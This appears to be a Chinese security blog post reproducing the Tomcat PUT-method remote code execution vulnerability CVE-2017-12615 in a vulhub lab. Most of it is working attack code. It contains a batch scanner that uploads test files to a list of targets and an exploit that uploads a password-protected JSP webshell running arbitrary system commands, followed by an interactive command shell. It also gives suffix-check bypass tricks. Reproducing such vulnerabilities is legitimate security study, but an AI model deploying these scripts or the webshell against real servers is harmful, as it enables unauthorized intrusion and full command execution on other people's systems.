【CVE-2017-12615】Tomcat 远程代码执行漏洞复现

0x00 环境搭建

用vulhub的环境

查看配置文件conf/web.xml中readonly的设置

0x01 漏洞复现

访问主页，抓包后修改数据包

可通过 PUT 方式创建一个 JSP 文件。虽然Tomcat对文件后缀有一定检测（不能直接写jsp），但我们使用一些文件系统的特性（如Linux下可用/）来绕过了限制。

改完包的时候不知道为啥上传失败了，于是我换了buuoj的环境，上传冰蝎的jsp木马，返回201代表上传成功

再用冰蝎连接即可

Windows服务器上搭建的tomcat可以在文件尾部加上 %20或者 ::$DATA等绕过

0x02 POC && EXP（python）

#CVE-2017-12615 POC
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/hello.jsp'

#测试数据
data = 'hello'

#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)

#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

#CVE-2017-12615 EXP
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)